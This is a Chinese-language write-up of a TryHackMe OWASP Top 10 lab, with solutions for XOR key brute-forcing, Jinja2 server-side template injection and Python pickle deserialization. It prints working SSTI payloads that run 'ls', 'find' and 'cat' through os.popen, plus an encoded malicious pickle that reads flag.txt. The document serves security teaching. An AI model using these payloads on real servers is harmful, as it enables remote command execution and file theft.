OWASP Top 10 2025: Insecure Data Handling
A04:Cryptographic Failures(密码学故障)
Answer the questions below
Decrypt the encrypted notes. One of them will contain a flag value. What is it?
解题思路
这道题告诉我们解密钥的前三个字符KEY,还剩第四个字符未知,我们写一个脚本,用来猜最后一个字符:
import base64
# 密文
ciphertext_b64 = "BiA8RSIrPhE4JjFULzA1VC9lP145ZS1eJiorQyQyeVA/ZWoRGwh3EQgqN1cuNzxfKCB5QyQqNBEJaw=="
ciphertext = base64.b64decode(ciphertext_b64)
# 已知密钥前3位
known_key = "KEY"
# 遍历所有可能的第4个字符(可打印ASCII字符)
for i in range(32, 127):
key = known_key + chr(i)
# 尝试解密
plaintext = ""
for j in range(len(ciphertext)):
# 循环使用4位密钥进行异或解密
decrypted_byte = ciphertext[j] ^ ord(key[j % 4])
plaintext += chr(decrypted_byte)
# 检查解密结果是否包含常见英文单词或可读字符
# 这里简单判断是否包含 "the" 或 "meeting" 等常见词,或者直接打印出来人工筛选
if "the" in plaintext.lower() or "meeting" in plaintext.lower() or "password" in plaintext.lower():
print(f"找到可能的密钥: {key}")
print(f"解密结果: {plaintext}\n")
运行很快就得到了密钥值是KEY1,然后我们将KEY1输入到web页面中,就能得到flag是:
THM{WEAK_CRYPTO_FLAG}
A05:Injection(注射)
Answer the questions below
Perform an SSTI attack on the practical. You need to read the contents of flag.txt that is located within the same directory as the web application.
解题思路
这道题考察的是 Jinja2 服务器端模板注入(SSTI)。
题目明确提示后端使用了render_template_string来渲染用户输入,这意味着你输入的任何 Jinja2 模板语法(如{{...}})都会被服务器当作代码执行。结合页面提示的config、lipsum 等内置对象,我们可以直接利用这些对象作为跳板,获取服务器上的敏感数据或执行系统命令。
以下是具体的解题思路和 Payload:
1. 验证漏洞与读取配置
首先,在输入框中输入 {{7*7}},页面返回 49,证明存在 SSTI 漏洞。
接着,按照提示输入{{config.items()}},打印出 Flask 应用的所有配置信息如下:
点击查看代码
dict_items([('DEBUG', True), ('TESTING', False), ('PROPAGATE_EXCEPTIONS', None), ('SECRET_KEY', None), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(days=31)), ('USE_X_SENDFILE', False), ('SERVER_NAME', None), ('APPLICATION_ROOT', '/'), ('SESSION_COOKIE_NAME', 'session'), ('SESSION_COOKIE_DOMAIN', None), ('SESSION_COOKIE_PATH', None), ('SESSION_COOKIE_HTTPONLY', True), ('SESSION_COOKIE_SECURE', False), ('SESSION_COOKIE_SAMESITE', None), ('SESSION_REFRESH_EACH_REQUEST', True), ('MAX_CONTENT_LENGTH', None), ('SEND_FILE_MAX_AGE_DEFAULT', None), ('TRAP_BAD_REQUEST_ERRORS', None), ('TRAP_HTTP_EXCEPTIONS', False), ('EXPLAIN_TEMPLATE_LOADING', False), ('PREFERRED_URL_SCHEME', 'http'), ('TEMPLATES_AUTO_RELOAD', None), ('MAX_COOKIE_SIZE', 4093)])
2. 利用内置对象执行系统命令
如果 Flag 不在配置信息中,我们需要通过 SSTI 执行系统命令(如 ls 查看目录,cat 读取文件)来寻找 Flag。在 Jinja2 中,可以通过访问内置函数的全局变量(globals)来调用 Python 的 os 模块。
- 利用
lipsum执行命令:
{{lipsum.__globals__['os'].popen('ls /').read()}}
返回:
app bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
- 定位flag所在路径:
{{lipsum.__globals__['os'].popen('find / -name "*flag*"').read()}}
返回:
/sys/devices/pnp0/00:04/00:04:0/00:04:0.0/tty/ttyS0/flags /sys/devices/platform/serial8250/serial8250:0/serial8250:0.3/tty/ttyS3/flags /sys/devices/platform/serial8250/serial8250:0/serial8250:0.1/tty/ttyS1/flags /sys/devices/platform/serial8250/serial8250:0/serial8250:0.2/tty/ttyS2/flags /sys/devices/virtual/net/eth0/flags /sys/devices/virtual/net/lo/flags /sys/module/scsi_mod/parameters/default_dev_flags /proc/sys/kernel/acpi_video_flags /proc/sys/net/ipv4/fib_notify_on_flag_change /proc/sys/net/ipv6/conf/all/ra_honor_pio_pflag /proc/sys/net/ipv6/conf/default/ra_honor_pio_pflag /proc/sys/net/ipv6/conf/eth0/ra_honor_pio_pflag /proc/sys/net/ipv6/conf/lo/ra_honor_pio_pflag /proc/sys/net/ipv6/fib_notify_on_flag_change /proc/kpageflags /app/flag.txt
- 读取flag:
{{lipsum.__globals__['os'].popen('cat /app/flag.txt').read()}}
返回flag内容:
THM{SSTI_FLAG_OBTAINED}
A08:Software or Data Integrity Failures(软件或数据完整性故障)
Answer the questions below
Use Python to pickle a malicious, serialised payload that reads the contents of flag.txt and submits it to the application.
What are the contents of flag.txt?
解题思路
这道题考察的是 Python 中的不安全反序列化(Insecure Deserialization)漏洞。
简单来说,Python 的 pickle 模块在将数据还原(反序列化)时,会无条件信任数据内容。如果攻击者构造了恶意的 pickle 数据,服务器在还原数据的过程中,就会自动执行攻击者预设的代码。
题目页面其实已经给出了非常详细的解题思路和示例代码,我们只需要按照步骤操作即可拿到 Flag。
- 第一步:利用题目给的python代码,生成恶意payload
gAWVMwAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwXb3BlbignZmxhZy50eHQnKS5yZWFkKCmUhZRSlC4=
- 第二步:提交 Payload 获取 Flag
THM{INSECURE_DESERIALIZATION}
💡 这道题想考察什么?
1.理解反序列化的本质:序列化是将内存中的对象转换为可传输的字节流,反序列化则是将其还原。如果在这个过程中缺乏校验,就会引发安全问题。
2.Python pickle 的致命缺陷:pickle 模块在设计上就不安全,它允许在反序列化时通过 __reduce__ 等魔术方法执行任意代码。因此,永远不要对不可信的数据使用 pickle.loads()。
3.安全编码意识:在实际开发中,如果需要跨系统传输数据,应该使用 JSON 等只支持基础数据类型的格式,或者在反序列化前对数据进行严格的数字签名校验。
浙公网安备 33010602011771号